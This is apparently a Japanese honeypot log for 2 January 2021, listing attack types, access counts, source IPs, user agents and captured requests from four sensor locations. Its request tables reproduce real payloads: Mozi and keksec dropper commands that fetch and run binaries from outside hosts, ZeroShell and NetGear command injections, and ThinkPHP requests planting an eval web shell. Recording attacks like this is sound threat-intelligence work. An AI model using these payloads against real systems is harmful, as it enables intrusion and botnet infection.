ハニーポット(仮) 観測記録 2021/01/02分です。
特徴
Location:JP
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZeroShell Linux Routerの脆弱性(CVE-2020-29390)を狙うアクセス
zgrabによるスキャン行為
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
を確認しました。
Location:US
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
WordPress Pluginへのスキャン行為
を確認しました。
Location:UK
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Oracle WebLogicの脆弱性(CVE-2019-2725)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPress Pluginへのスキャン行為
を確認しました。
Location:SG
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkCMFの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget http[:]//116[.]68[.]96[.]15:51984/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
cd /tmp; rm -rf *; wget http[:]//202[.]164[.]139[.]88:48298/Mozi.a; chmod 777 Mozi.a; /tmp/Mozi.a jaws
他
アクセス数推移
JP:総アクセス数:65 (前日比:+8)
US:総アクセス数:54 (前日比:-4)
UK:総アクセス数:49 (前日比:-107)
SG:総アクセス数:64 (前日比:+27)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.8.10.202 | Russia |
1 | 18.206.35.235 | United States |
1 | 37.1.210.232 | Ukraine |
20 | 45.155.205.108 | Russia |
1 | 47.98.102.8 | China |
1 | 59.99.138.109 | India |
1 | 64.31.8.10 | United States |
1 | 64.227.107.18 | United States |
10 | 81.91.138.189 | Iran |
1 | 85.172.10.110 | Russia |
1 | 91.192.103.27 | Switzerland |
2 | 134.122.62.184 | United States |
1 | 144.91.75.5 | Germany |
1 | 149.129.139.48 | Singapore |
1 | 157.245.101.155 | United States |
1 | 159.69.50.92 | Germany |
1 | 159.203.31.160 | United States |
1 | 172.93.102.236 | United States |
1 | 172.105.89.161 | United States |
2 | 191.35.202.101 | Brazil |
10 | 192.144.148.220 | China |
1 | 192.241.222.45 | United States |
2 | 205.185.126.93 | United States |
2 | 209.141.41.134 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
11 | - |
4 | Go-http-client/1.1 |
1 | Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 |
20 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
19 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
1 | Mozilla/5.0 zgrab/0.x |
1 | Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 |
4 | ZmEu |
1 | python-requests/2.3.0 CPython/2.7.18 Windows/10 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
2 | \x16\x03\x01\x01\xfa\x01 | ||
3 | GET | /.env | HTTP/1.1 |
1 | GET | /0bef | HTTP/1.0 |
2 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
2 | GET | /?a=fetch&content= |
HTTP/1.1 |
2 | GET | /TP/html/public/index.php | HTTP/1.1 |
2 | GET | /TP/index.php | HTTP/1.1 |
3 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=admin&psd=admin | HTTP/1.0 |
1 | GET | /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%22wget%20http[:]//198[.]144[.]190[.]5/bins/keksec.x86%20-O%20/tmp/.keksec.x86;curl%20http[:]//198[.]144[.]190[.]5/bins/keksec.x86%20-O%20/tmp/.keksec.x86;%20chmod%20777%20/tmp/.keksec.x86;%20/tmp/.keksec.x86%22%0a' | HTTP/1.1 |
2 | GET | /console/ | HTTP/1.1 |
2 | GET | /elrekt.php | HTTP/1.1 |
2 | GET | /html/public/index.php | HTTP/1.1 |
2 | GET | /index.php | HTTP/1.1 |
2 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 | HTTP/1.1 |
2 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
2 | GET | /login | HTTP/1.0 |
2 | GET | /manager/html | HTTP/1.0 |
1 | GET | /manager/html/ | HTTP/1.0 |
1 | GET | /manager/text/list | HTTP/1.1 |
2 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
2 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /server-status | HTTP/1.1 |
2 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
2 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
2 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
2 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
2 | GET | /wp-content/plugins/wp-file-manager/readme.txt | HTTP/1.1 |
1 | GET | http[:]//example[.]com/ | HTTP/1.1 |
1 | HEAD | /rC3u | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
2 | POST | /Autodiscover/Autodiscover.xml | HTTP/1.1 |
2 | POST | /api/jsonws/invoke | HTTP/1.1 |
1 | POST | /boaform/admin/formLogin | HTTP/1.1 |
2 | POST | /index.php?s=captcha | HTTP/1.1 |
2 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
2 | 20.75.81.246 | United States |
2 | 42.192.92.239 | China |
20 | 45.155.205.108 | Russia |
1 | 47.106.192.10 | China |
2 | 91.199.118.137 | Germany |
1 | 103.102.145.34 | India |
1 | 104.40.22.105 | United States |
1 | 113.87.32.192 | China |
1 | 117.208.132.197 | India |
10 | 123.207.186.225 | China |
1 | 134.122.7.61 | United States |
1 | 139.162.145.250 | Netherlands |
1 | 143.110.151.142 | United States |
1 | 144.91.75.5 | Germany |
1 | 167.99.32.244 | United States |
1 | 172.105.89.161 | United States |
1 | 178.54.86.113 | Ukraine |
1 | 180.250.28.34 | Indonesia |
1 | 182.74.38.150 | India |
1 | 188.166.104.171 | Netherlands |
1 | 192.241.208.143 | United States |
1 | 192.241.222.142 | United States |
1 | 192.241.224.140 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
10 | - |
3 | Go-http-client/1.1 |
20 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 |
9 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 |
3 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
3 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | \x16\x03\x01 | ||
1 | \x16\x03\x01\x01\xfb\x01 | ||
2 | CONNECT | cdn[.]jsdelivr[.]net/:443 | HTTP/1.1 |
3 | GET | /.env | HTTP/1.1 |
1 | GET | /0bef | HTTP/1.0 |
2 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
2 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /HNAP1/ | HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
2 | GET | /console/ | HTTP/1.1 |
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
2 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
2 | GET | /login | HTTP/1.0 |
1 | GET | /manager/html | HTTP/1.0 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /manager/html/ | HTTP/1.0 |
1 | GET | /manager/text/list | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//103[.]102[.]145[.]34:33389/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 | HTTP/1.0 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//113[.]87[.]32[.]192:36025/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 | HTTP/1.0 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]208[.]132[.]197:47603/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 | HTTP/1.0 |
2 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
2 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
2 | GET | /wp-content/plugins/wp-file-manager/readme.txt | HTTP/1.1 |
1 | GET | /wp-login.php | HTTP/1.1 |
2 | POST | /Autodiscover/Autodiscover.xml | HTTP/1.1 |
2 | POST | /api/jsonws/invoke | HTTP/1.1 |
3 | POST | /boaform/admin/formLogin | HTTP/1.1 |
1 | POST | /index.php?s=captcha | HTTP/1.1 |
2 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
2 | 13.232.104.92 | United States |
1 | 39.73.13.150 | China |
1 | 40.72.98.33 | China |
10 | 45.155.205.108 | Russia |
1 | 64.31.8.10 | United States |
1 | 68.183.181.190 | United States |
2 | 91.199.118.137 | Germany |
1 | 122.228.19.79 | China |
1 | 134.122.7.61 | United States |
1 | 135.148.33.82 | United States |
1 | 159.203.35.75 | United States |
1 | 172.104.242.173 | United States |
1 | 172.105.89.161 | United States |
21 | 185.128.41.50 | Switzerland |
2 | 188.131.172.61 | China |
1 | 194.61.55.248 | Russia |
1 | 203.115.73.141 | India |
UserAgent一覧
件数 | UserAgent |
---|---|
12 | - |
3 | Go-http-client/1.1 |
12 | Java/1.8.0_131 |
1 | Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 |
8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool |
10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
1 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 |
1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | \x03 | ||
2 | \x16\x03\x01\x01\xfc\x01 | ||
1 | 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ | HTTP/1.0 | |
2 | CONNECT | cdn[.]jsdelivr[.]net/:443 | HTTP/1.1 |
1 | GET | /0bef | HTTP/1.0 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /_async/AsyncResponseService | HTTP/1.1 |
1 | GET | /config/getuser?index=0 | HTTP/1.1 |
1 | GET | /console/ | HTTP/1.1 |
1 | GET | /favicon.ico | HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 | HTTP/1.1 |
1 | GET | /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\Request/input&filter=phpinfo&data=1 | HTTP/1.1 |
1 | GET | /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1]=phpinfo() | HTTP/1.1 |
2 | GET | /login | HTTP/1.0 |
2 | GET | /manager/html | HTTP/1.0 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /manager/html/ | HTTP/1.0 |
1 | GET | /public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /public/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /public/?s=index/\think\Request/input&filter=phpinfo&data=1 | HTTP/1.1 |
1 | GET | /public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1]=phpinfo() | HTTP/1.1 |
1 | GET | /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 | HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
1 | GET | /wp-content/plugins/wp-file-manager/readme.txt | HTTP/1.1 |
1 | GET | http[:]//example[.]com/ | HTTP/1.1 |
1 | HEAD | /rC3u | HTTP/1.1 |
1 | POST | /Autodiscover/Autodiscover.xml | HTTP/1.1 |
1 | POST | /HNAP1/ | HTTP/1.0 |
1 | POST | /api/jsonws/invoke | HTTP/1.1 |
1 | POST | /index | HTTP/1.1 |
1 | POST | /index.action | HTTP/1.1 |
1 | POST | /index.do | HTTP/1.1 |
1 | POST | /index.jsp | HTTP/1.1 |
1 | POST | /login | HTTP/1.1 |
1 | POST | /login.action | HTTP/1.1 |
1 | POST | /login.do | HTTP/1.1 |
1 | POST | /login.jsp | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
1 | \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 36.103.222.84 | China |
1 | 45.146.164.179 | Russia |
10 | 45.155.205.108 | Russia |
1 | 46.101.41.216 | Netherlands |
1 | 64.31.8.10 | United States |
2 | 66.240.205.34 | United States |
6 | 83.97.20.29 | Australia |
2 | 91.199.118.137 | Germany |
1 | 103.28.70.87 | United States |
2 | 104.211.57.172 | United States |
1 | 109.70.100.52 | Austria |
18 | 112.30.128.106 | China |
1 | 116.68.96.15 | India |
1 | 117.222.167.74 | India |
1 | 134.209.153.176 | United States |
2 | 144.91.75.5 | Germany |
1 | 159.69.50.92 | Germany |
1 | 167.99.32.244 | United States |
1 | 172.93.102.236 | United States |
1 | 182.120.44.134 | China |
2 | 185.239.242.65 | Netherlands |
1 | 188.166.104.171 | Netherlands |
1 | 192.241.224.239 | United States |
1 | 202.164.139.88 | India |
4 | 209.141.41.134 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
12 | - |
3 | Go-http-client/1.1 |
1 | Hello, World |
2 | Hello, world |
1 | Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1 |
2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0 |
1 | Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 |
10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
4 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
17 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) |
1 | Mozilla/5.0 zgrab/0.x |
1 | Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 |
4 | ZmEu |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
2 | - | ||
1 | Gh0st\xad | ||
1 | \x03 | ||
2 | \x16\x03\x01\x01\xfb\x01 | ||
2 | CONNECT | cdn[.]jsdelivr[.]net/:443 | HTTP/1.1 |
5 | GET | /.env | HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /boaform/admin/formLogin?username=user&psd=user | HTTP/1.0 |
1 | GET | /console/ | HTTP/1.1 |
1 | GET | /favicon.ico | HTTP/1.1 |
3 | GET | /index.php | HTTP/1.1 |
1 | GET | /index.php?a=fetch&templateFile=public/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E') | HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B1%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5CRequest/input&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /index.php?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /manager/html/ | HTTP/1.1 |
1 | GET | /nice%20ports%2C/Tri%6Eity.txt%2ebak | HTTP/1.0 |
2 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
2 | GET | /phpmyadmin/index.php | HTTP/1.1 |
2 | GET | /pmd/index.php | HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//116[.]68[.]96[.]15:51984/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws | HTTP/1.1 |
1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//202[.]164[.]139[.]88:48298/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws | HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
2 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | GET | /wp-content/ | HTTP/1.1 |
1 | GET | /wp-content/plugins/wp-file-manager/readme.txt | HTTP/1.1 |
1 | GET | http[:]//example[.]com/ | HTTP/1.1 |
1 | HEAD | / | HTTP/1.0 |
1 | HEAD | /rC3u | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | OPTIONS | / | HTTP/1.0 |
1 | OPTIONS | / | RTSP/1.0 |
1 | POST | /Autodiscover/Autodiscover.xml | HTTP/1.1 |
1 | POST | /GponForm/diag_Form?images/ | HTTP/1.1 |
1 | POST | /api/jsonws/invoke | HTTP/1.1 |
4 | POST | /boaform/admin/formLogin | HTTP/1.1 |
3 | POST | /index.php/?s=captcha | HTTP/1.1 |
1 | POST | /spread.php | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |